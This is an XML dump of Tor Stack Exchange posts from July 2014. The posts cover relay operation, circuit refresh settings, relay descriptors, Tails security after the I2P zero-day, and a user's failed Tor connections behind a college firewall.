  <row Id="3671" PostTypeId="2" ParentId="1355" CreationDate="2014-07-28T11:34:29.847" Score="1" Body="&lt;p&gt;The remote end (websites and exit nodes) can distinguish between TBB and Tails: An ad blocker is installed by default in Tails' browser (but not TBB), so the two typically have differing request patterns.&lt;/p&gt;&#xA;" OwnerUserId="3283" LastActivityDate="2014-07-28T11:34:29.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3672" PostTypeId="1" CreationDate="2014-07-28T14:19:53.993" Score="3" ViewCount="186" Body="&lt;p&gt;I have been operating a potentially fast relay for a few days now. I only wish to run ~ 15 hrs. a day so I can shut off my laptop at night. I've been reading about Tor and relays for days now and haven't seen this addressed. On the average I begin at 6 am and shut down at 9 pm. does running a relay this way &quot;fit in&quot;?&lt;/p&gt;&#xA;" OwnerUserId="3285" LastEditorUserId="88" LastEditDate="2014-07-28T19:19:19.400" LastActivityDate="2014-07-28T19:28:39.950" Title="Can I run a relay just part time?" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3673" PostTypeId="2" ParentId="3632" CreationDate="2014-07-28T14:38:13.657" Score="2" Body="&lt;p&gt;&lt;strong&gt;Found a solution!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Formatted the SD card using SDFormatter, and reburn Raspabian using Win32DiskImager - in other words, reinstalled Raspabian. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get update install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just installed tor with the full torrc file. &#xA;I guess that it's a good solution for most of you with this problem, but because i used my Pi as a Tor Hotspot, it wasnt a big deal.&lt;/p&gt;&#xA;" OwnerUserId="3256" LastActivityDate="2014-07-28T14:38:13.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3674" PostTypeId="1" CreationDate="2014-07-28T18:37:17.990" Score="1" ViewCount="307" Body="&lt;p&gt;I am running orweb/ orbot on a Sony Xperia z2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find out how to copy / paste a page url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="3287" LastEditorUserId="923" LastEditDate="2014-07-28T20:54:55.137" LastActivityDate="2014-07-28T20:54:55.137" Title="Orweb copy page url" Tags="|orweb|" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-25T08:57:11.997" ContentLicense="CC BY-SA 3.0" />
  <row Id="3675" PostTypeId="2" ParentId="3672" CreationDate="2014-07-28T19:28:39.950" Score="2" Body="&lt;p&gt;I would definitely say 'Yes' here, because your relay will help to improve the overall bandwidth of the Tor network. The Tor blog has an article which describes the &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;lifecycle of a new relay&lt;/a&gt;. Your relay will probably always be in phase one. So it doesn't receive a Guard flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another good approach ist to configure your laptop as a bridge. This helps users in censored countries to get access to the Internet. As far as I know it will help from the start and doesn't need the 'warm-up phase' like relays.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-07-28T19:28:39.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3676" PostTypeId="2" ParentId="3648" CreationDate="2014-07-28T20:08:30.247" Score="1" Body="&lt;p&gt;The browser and bash are using different circuits, with different exits. The stem script shows exits for all active circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, try &lt;a href=&quot;https://tor.stackexchange.com/questions/3253/how-do-i-trap-circuit-id-none-errors-in-the-stem-script-exit-used-py&quot;&gt;my tweaked &lt;code&gt;exit_used.py&lt;/code&gt; script&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-07-28T20:08:30.247" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3677" PostTypeId="1" AcceptedAnswerId="3684" CreationDate="2014-07-28T22:18:09.170" Score="1" ViewCount="5182" Body="&lt;p&gt;Is there a way to refresh your path in Tor every x seconds or minutes without manually doing like pressing new identity? I need it to do it automatically (e.g. putting a line in the torrc file)? I looked online but couldn't find any information about this.&lt;/p&gt;&#xA;" OwnerUserId="3288" LastActivityDate="2014-07-29T11:55:12.033" Title="Tor - refresh your path every x seconds" Tags="|exit-relays|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3678" PostTypeId="1" CreationDate="2014-07-28T22:57:06.617" Score="3" ViewCount="325" Body="&lt;p&gt;Following, please find a quote from Tor FAQ :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Restricting your entry nodes may also help against attackers who want&#xA;  to run a few Tor nodes and easily enumerate all of the Tor user IP&#xA;  addresses. (Even though they can't learn what destinations the users&#xA;  are talking to, they still might be able to do bad things with just a&#xA;  list of users.) However, that feature won't really become useful until&#xA;  we move to a &quot;directory guard&quot; design as well.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What does &quot;directory guard&quot; design means in the above quote?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What does the last sentence in the above quote is implying? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-08-14T12:57:55.260" LastActivityDate="2015-03-10T09:03:15.990" Title="What does &quot;Directory guard&quot; design means in the following context and could somebody elaborate on this Tor FAQ quote?" Tags="|guard|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3679" PostTypeId="1" CreationDate="2014-07-29T02:08:01.693" Score="1" ViewCount="51" Body="&lt;p&gt;Security experts detected a new kind of Crypto ransomware that uses the Tor network to hide its antics. The so-called “Critroni” has been flogged on underground forums for a few weeks now and is currently being used by the Angler exploit kit. The most interesting thing is that it is the first crypto ransomware that uses the Tor network for command and control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it still safe to use Tor? Is there an update to cure this?&lt;/p&gt;&#xA;" OwnerDisplayName="user3289" LastEditorUserId="88" LastEditDate="2014-07-31T07:45:05.910" LastActivityDate="2014-07-31T07:45:05.910" Title="Critroni new bug in Tor" Tags="|security|abuse|malware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3682" PostTypeId="2" ParentId="3677" CreationDate="2014-07-29T05:34:12.740" Score="1" Body="&lt;p&gt;Maybe you can try this: /etc/init.d/tor restart&lt;/p&gt;&#xA;" OwnerUserId="3291" LastEditorUserId="923" LastEditDate="2014-07-29T11:55:12.033" LastActivityDate="2014-07-29T11:55:12.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3683" PostTypeId="2" ParentId="3677" CreationDate="2014-07-29T05:39:31.110" Score="1" Body="&lt;p&gt;Write a script (or maybe you can find a pre-made one) to loop a &quot;NEWNYM&quot;(New Identity) to the controller (port 9060). There's a built-in 10 second limit to how fast you can send a signal. But even that could be harsh on the network. So don't cycle so often/frequently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommended using Stem (TOR's Python Library) to write your script.&#xA;&lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://stem.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-07-29T05:39:31.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3684" PostTypeId="2" ParentId="3677" CreationDate="2014-07-29T09:15:08.620" Score="1" Body="&lt;p&gt;You may be looking for the torrc option &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#MaxCircuitDirtiness&quot; rel=&quot;nofollow&quot;&gt;MaxCircuitDirtiness&lt;/a&gt;, which defaults to 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is assuming that you're doing something low-level, i.e. not using a browser, because the option only applies to new TCP connections. Existing connections don't get closed automatically!&lt;/p&gt;&#xA;" OwnerUserId="3294" LastActivityDate="2014-07-29T09:15:08.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3685" PostTypeId="2" ParentId="3679" CreationDate="2014-07-29T12:42:24.133" Score="1" Body="&lt;p&gt;This isn't a bug in Tor, it's a feature. It doesn't reduce Tor users' security, but rather is evidence of it. If there were an update that &quot;cured&quot; it, it would make Tor less safe for you to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2013-September/030097.html&quot; rel=&quot;nofollow&quot;&gt;Paul Syverson observed on tor-talk&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Back in the ancient pre-Tor days, at the height of the crypto wars, Ian Goldberg asked me at Financial Crypto in 1998 why we created onion routing. Not entirely facetiously I told him that the fascinating technological problems and the potential to better protect people and their activities was nice, but the real attraction was to create a context where people who were sure they should hate each other were forced to collaborate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-07-30T00:23:25.900" LastActivityDate="2014-07-30T00:23:25.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3686" PostTypeId="1" CreationDate="2014-07-29T15:52:40.370" Score="1" ViewCount="5313" Body="&lt;p&gt;How safe is Tails, since the Zero-day flaws? Are they fixed, and do we really trust it?&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="923" LastEditDate="2014-07-30T16:28:32.893" LastActivityDate="2014-08-01T11:13:51.693" Title="Is Tails safe? (Zero day)" Tags="|anonymity|tails|linux|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3687" PostTypeId="2" ParentId="3686" CreationDate="2014-07-30T01:17:27.807" Score="1" Body="&lt;p&gt;Well, I can say it is very safe. Like all software, there will be 0days. The developers of TAILS are very committed to their work, and security is very important to them, since its their business. They have not fixed the most recent 0day found, but they are working on it. The release of the 0day has been delayed to accommodate the users' security. End answer: It is safe enough for you to do confidential activities on it, otherwise there wouldn't be any marketplaces on I2P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resources:&#xA;&lt;a href=&quot;http://www.pcworld.com/article/2458640/until-the-tails-privacy-tool-is-patched-heres-how-to-stay-safe.html&quot; rel=&quot;nofollow&quot;&gt;http://www.pcworld.com/article/2458640/until-the-tails-privacy-tool-is-patched-heres-how-to-stay-safe.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blogs.computerworld.com/malware-and-vulnerabilities/24177/zero-day-broker-exploits-vulnerability-i2p-de-anonymize-tails-users&quot; rel=&quot;nofollow&quot;&gt;http://blogs.computerworld.com/malware-and-vulnerabilities/24177/zero-day-broker-exploits-vulnerability-i2p-de-anonymize-tails-users&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user3226" LastActivityDate="2014-07-30T01:17:27.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3689" PostTypeId="1" CreationDate="2014-07-30T06:18:01.817" Score="2" ViewCount="682" Body="&lt;p&gt;What weakness would this expose? It doesn't seem obvious that there would be any apparent way to attack.&lt;/p&gt;&#xA;" OwnerUserId="3299" LastEditorUserId="5191" LastEditDate="2014-10-10T04:46:57.867" LastActivityDate="2014-10-18T13:51:11.813" Title="What happens when Tor always chooses the same path?" Tags="|circuit|attacks|guard|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3691" PostTypeId="2" ParentId="663" CreationDate="2014-07-30T06:57:55.720" Score="0" Body="&lt;p&gt;For Windows, I recommend &lt;a href=&quot;http://sourceforge.net/projects/advtor/&quot; rel=&quot;nofollow&quot;&gt;Advanced Onion Router&lt;/a&gt;.&#xA;AdvTOR allows you to choose circuits, onion URI NAT/Port Forwarding running relays, CPU custom onion URI generator, and more... (TOR is included in the download.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Linux, I recommend &lt;a href=&quot;https://www.atagar.com/arm/&quot; rel=&quot;nofollow&quot;&gt;Anonymous Relay Monitor&lt;/a&gt;.&#xA;ARM comes with a easy to use TUI (Text-Based User Interface) which is good for running relays, exits and hidden services. (TOR needs to be running (sudo apt-get install tor &amp;amp;&amp;amp; sudo -u debian-tor service tor start)&lt;/p&gt;&#xA;" OwnerUserId="3160" LastActivityDate="2014-07-30T06:57:55.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3692" PostTypeId="2" ParentId="3595" CreationDate="2014-07-30T07:02:33.927" Score="-1" Body="&lt;p&gt;STOP!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ubuntu is not a distribution built for security, if you want to use a Linux host, use &lt;a href=&quot;http://debian.org&quot; rel=&quot;nofollow&quot;&gt;Debian&lt;/a&gt;. TorProject itself recommends &lt;a href=&quot;http://www.acme.com/software/thttpd/&quot; rel=&quot;nofollow&quot;&gt;thttpd&lt;/a&gt; for webservers.&lt;/p&gt;&#xA;" OwnerUserId="3160" LastActivityDate="2014-07-30T07:02:33.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3693" PostTypeId="2" ParentId="1085" CreationDate="2014-07-30T07:08:26.267" Score="2" Body="&lt;p&gt;Perhaps this would help:&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/1494/how-to-use-arm-with-tor-browser-bundle?rq=1&quot;&gt;How to use Arm with Tor Browser Bundle&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3160" LastActivityDate="2014-07-30T07:08:26.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3694" PostTypeId="2" ParentId="3686" CreationDate="2014-07-30T07:13:13.170" Score="2" Body="&lt;p&gt;Since the bug affects I2P, which is not started by default, it is safe to use Tails 1.1 if you disable I2P and follow the instructions provided by the Tails developers under the heading &quot;Temporary Solutions&quot; in their response to this issue:&#xA;&lt;a href=&quot;https://tails.boum.org/security/Security_hole_in_I2P_0.9.13/index.en.html&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/security/Security_hole_in_I2P_0.9.13/index.en.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Temporary solutions&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;You can protect yourself from this security hole until it is corrected.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Do not start I2P in Tails 1.1 and earlier. You can protect yourself further by removing the &lt;code&gt;i2p&lt;/code&gt; package every time you start Tails:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Set an administration password.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Run this command in a &lt;em&gt;Root Terminal&lt;/em&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;apt-get purge i2p&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;However, if you really need to use I2P in Tails 1.1: before you start I2P, disable JavaScript globally with NoScript in the Tor Browser.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This vulnerability in I2P has been fixed upstream in I2P version 0.9.14: &lt;a href=&quot;https://geti2p.net/en/blog/post/2014/07/26/0.9.14-Release&quot; rel=&quot;nofollow&quot;&gt;https://geti2p.net/en/blog/post/2014/07/26/0.9.14-Release&lt;/a&gt;. Hopefully there will soon be a new Tails release which includes this updated version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Tails dev mailing list, there is currently a discussion about further measures to harden/sandbox I2P in Tails in future releases: &lt;a href=&quot;https://mailman.boum.org/pipermail/tails-dev/2014-July/006459.html&quot; rel=&quot;nofollow&quot;&gt;https://mailman.boum.org/pipermail/tails-dev/2014-July/006459.html&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3300" LastEditorUserId="3318" LastEditDate="2014-08-01T11:13:51.693" LastActivityDate="2014-08-01T11:13:51.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3696" PostTypeId="2" ParentId="469" CreationDate="2014-07-30T07:34:16.910" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Messages are encrypted with the exit, second then lastly the first relay's public key, when the first layer of the &quot;onion skin&quot; is decrypted, it reveals instruction for forwarding to the next relay.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;dsfdfsfs&#xA;In addition to that, there is such server called &lt;em&gt;directory server&lt;/em&gt;, which is a compilation of guard, midpoint and exit relays.&lt;/p&gt;&#xA;" OwnerUserId="3160" LastActivityDate="2014-07-30T07:34:16.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3697" PostTypeId="1" AcceptedAnswerId="3716" CreationDate="2014-07-30T07:49:31.090" Score="4" ViewCount="10491" Body="&lt;p&gt;I was wondering if you can get a virus by opening some websites of the deep web using Tor? With some links it's hard to tell if they are legit or not, recently I came across some website saying that &quot;exploit was successful&quot; and nothing more...so, it all looks kinda weird. Antivirus showed nothing but can I really be sure that I am safe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Tails a better solution than Tor browser bundle in the case of viruses and exploits?&lt;/p&gt;&#xA;" OwnerUserId="3301" LastEditorUserId="923" LastEditDate="2014-07-30T08:47:48.343" LastActivityDate="2018-11-30T09:32:40.310" Title="Tor and viruses" Tags="|tor-browser-bundle|onion-services|security|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3701" PostTypeId="1" CreationDate="2014-07-30T10:17:31.280" Score="3" ViewCount="2789" Body="&lt;p&gt;What is a relay descriptor? Where is it used?I found this on running a python code to launch Tor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;50%: Loading relay descriptors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;51%: Loading relay descriptors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;53%: Loading relay descriptors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;55%: Loading relay descriptors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;56%: Loading relay descriptors&#xA;&lt;/p&gt;&#xA;" OwnerUserId="3302" LastEditorUserId="923" LastEditDate="2014-07-30T11:11:19.337" LastActivityDate="2014-08-04T08:25:43.840" Title="what is a relay descriptor" Tags="|relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3702" PostTypeId="2" ParentId="3701" CreationDate="2014-07-30T11:17:37.407" Score="2" Body="&lt;p&gt;Information that relays send to clients about themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stem.torproject.org/tutorials/mirror_mirror_on_the_wall.html&quot; rel=&quot;nofollow&quot;&gt;https://stem.torproject.org/tutorials/mirror_mirror_on_the_wall.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3160" LastActivityDate="2014-07-30T11:17:37.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3703" PostTypeId="1" CreationDate="2014-07-30T12:51:56.953" Score="2" ViewCount="424" Body="&lt;p&gt;From &lt;a href=&quot;https://tails.boum.org/security/index.en.html&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/security/index.en.html&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Probable holes&lt;/strong&gt; &lt;br /&gt;&#xA;  Until an audit of the bundled network applications is done, information leakages at the protocol level should be considered as − at the very least − possible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My main question is: What are the security implications of this and how should Tails users behave to minimize risks from this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I also would like to ask (if any Tails developers happen to be hanging around here): Why is this very important piece of information not mentioned much more prominently on the Tails home page? Why are these applications even included?? Is Tor Browser affected??&lt;/p&gt;&#xA;" OwnerUserId="3303" LastEditorUserId="88" LastEditDate="2014-07-30T18:38:33.887" LastActivityDate="2014-08-02T12:59:30.660" Title="TAILS: &quot;Probable&quot; information leakage" Tags="|anonymity|tails|vulnerability|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3705" PostTypeId="2" ParentId="3703" CreationDate="2014-07-30T13:54:40.190" Score="-1" Body="&lt;p&gt;This is a zero day flaw, and was recently reported to Tails folks by Exodus Intelligence. Following is a short excerpt from Exodus blog:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We publicized the fact that we’ve discovered these issues for a very&#xA;  simple reason: no user should put full trust into any particular&#xA;  security solution. By bringing to light the fact that we have found&#xA;  verifiable flaws in such a widely trusted piece of code, we hope to&#xA;  remind the Tails user base that no software is infallible. Even when&#xA;  the issues we’ve found are fixed by the Tails team, the community&#xA;  should keep in mind that there are most certainly other flaws still&#xA;  present and likely known to others.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.exodusintel.com/2014/07/23/silverbullets_and_fairytails/&quot; rel=&quot;nofollow&quot;&gt;http://blog.exodusintel.com/2014/07/23/silverbullets_and_fairytails/&lt;/a&gt;&#xA;My view is that, it is best to refrain from using Tails until dust settles. Be aware that this flaw existed for very long time and maybe used by adversaries for ages, so cover yourself if you can. COMPUTERWORLD have an interesting article on this subject. &lt;a href=&quot;http://blogs.computerworld.com/malware-and-vulnerabilities/24177/zero-day-broker-exploits-vulnerability-i2p-de-anonymize-tails-users&quot; rel=&quot;nofollow&quot;&gt;http://blogs.computerworld.com/malware-and-vulnerabilities/24177/zero-day-broker-exploits-vulnerability-i2p-de-anonymize-tails-users&lt;/a&gt;&#xA;It estimates that 30000 users of I2P are unmasked.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The zero-day is in the Invisible Internet Project, or I2P, networking&#xA;  component that comes bundled with Tails to encrypt web traffic and&#xA;  hide a user’s real IP address. The 30,000 I2P users who previously&#xA;  felt anonymous could be unmasked, their true IP address revealed, by&#xA;  visiting a booby-trapped website.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your best option at this point is to use Tor browser bundle, But be careful, more revelations will going to be uncovered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. There are other issues beside this zero day flaw too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;On July 4 2014 we found a group of relays that we assume were trying to de-anonymize users. They appear to have been targeting people who operate or access Tor hidden services. The attack involved modifying Tor protocol headers to do traffic confirmation attacks.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read Tor security advisory for detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-30T19:48:33.707" LastActivityDate="2014-07-30T19:48:33.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3706" PostTypeId="1" CreationDate="2014-07-30T15:02:52.110" Score="3" ViewCount="6516" Body="&lt;p&gt;My college uses the SonicWall firewall to block websites and unauthorized internet connections. I installed Tor 2 months ago and it worked fine. However, I'm trying to connect to the Tor Network (when I open Tor Browser in the TB folder) now and it doesn't connect. Here's the log file generated after the error says that Tor failed to establish a connection.&#xA;Can someone help me in establishing a successful connection using Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Steps I am employing.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I have to log in to my SonicWall firewall using a UserName and Password. Without doing this, internet connections aren't successful.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After logging in and gaining internet access, I start the Tor Browser.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The first Question: No, I don't need a proxy to connect to the Internet. My network connection is firewalled I think because whenever I try to open a website before logging in to SonicWall, I'm redirected to a login page first.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second Question: Although my computer does go through a firewall, after logging in, I can use the Internet except a few sites which are blocked. HTTP, HTTPS work fine on both Chrome and Firefox.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Third Question: I don't know whether my ISP blocks Tor connections. When I select no, the connection window doesn't even open. When I click Yes and try to use bridges, none of them are successful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30-07-2014 21:25:45.132 [NOTICE] Bootstrapped 5%: Connecting to directory server. &#xA;30-07-2014 21:25:45.133 [WARN] connection_connect(): Bug: Tried to open a socket with DisableNetwork set. &#xA;30-07-2014 21:25:45.134 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Network is unreachable [WSAENETUNREACH ]; NOROUTE; count 1; recommendation warn) &#xA;30-07-2014 21:30:04.557 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;30-07-2014 21:30:04.557 [NOTICE] Pluggable transport proxy (fte exec Tor\PluggableTransports\fteproxy --managed) does not provide any needed transports and will not be launched. &#xA;30-07-2014 21:30:04.557 [NOTICE] Pluggable transport proxy (obfs2,obfs3 exec Tor\PluggableTransports\obfsproxy managed) does not provide any needed transports and will not be launched. &#xA;30-07-2014 21:30:04.557 [NOTICE] Pluggable transport proxy (flashproxy exec Tor\PluggableTransports\flashproxy-client --register :0 :9000) does not provide any needed transports and will not be launched. &#xA;30-07-2014 21:30:04.558 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;30-07-2014 21:30:05.388 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server. &#xA;30-07-2014 21:32:06.836 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn) &#xA;30-07-2014 21:32:06.837 [WARN] 7 connections have failed: &#xA;30-07-2014 21:32:06.837 [WARN]  7 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3305" LastEditorUserId="88" LastEditDate="2014-07-30T19:04:02.250" LastActivityDate="2015-07-08T00:59:24.620" Title="Tor Doesn't Work Anymore" Tags="|tor-browser-bundle|configuration|censorship|" AnswerCount="2" CommentCount="1" ClosedDate="2017-05-09T11:57:25.033" ContentLicense="CC BY-SA 3.0" />
  <row Id="3707" PostTypeId="2" ParentId="3706" CreationDate="2014-07-30T15:14:56.323" Score="-1" Body="&lt;p&gt;In most censorship cases, the Pluggable Transport will work. You can try that and test your luck. However, remember that it is possible that you maybe uncovered. Think about that and decide the prudent action.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-07-30T15:14:56.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3708" PostTypeId="2" ParentId="3686" CreationDate="2014-07-30T15:26:40.473" Score="0" Body="&lt;p&gt;The zero day flaw is not fixed yet. Be advised that this flaw was there for ages, so you maybe already uncovered. Since the detail of the zero day flaw will be published in few days or few weeks, it is prudent to refrain from using Tails until the details become public. EXODUS has informed Tails folks about this zero day flaw, it is interesting to read their blog about this subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.exodusintel.com/2014/07/23/silverbullets_and_fairytails/&quot; rel=&quot;nofollow&quot;&gt;http://blog.exodusintel.com/2014/07/23/silverbullets_and_fairytails/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. There are other issues beside this zero day flaw too. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On July 4 2014 we found a group of relays that we assume were trying&#xA;  to de-anonymize users. They appear to have been targeting people who&#xA;  operate or access Tor hidden services. The attack involved modifying&#xA;  Tor protocol headers to do traffic confirmation attacks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Read Tor security advisory for detail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-30T15:35:09.847" LastActivityDate="2014-07-30T15:35:09.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
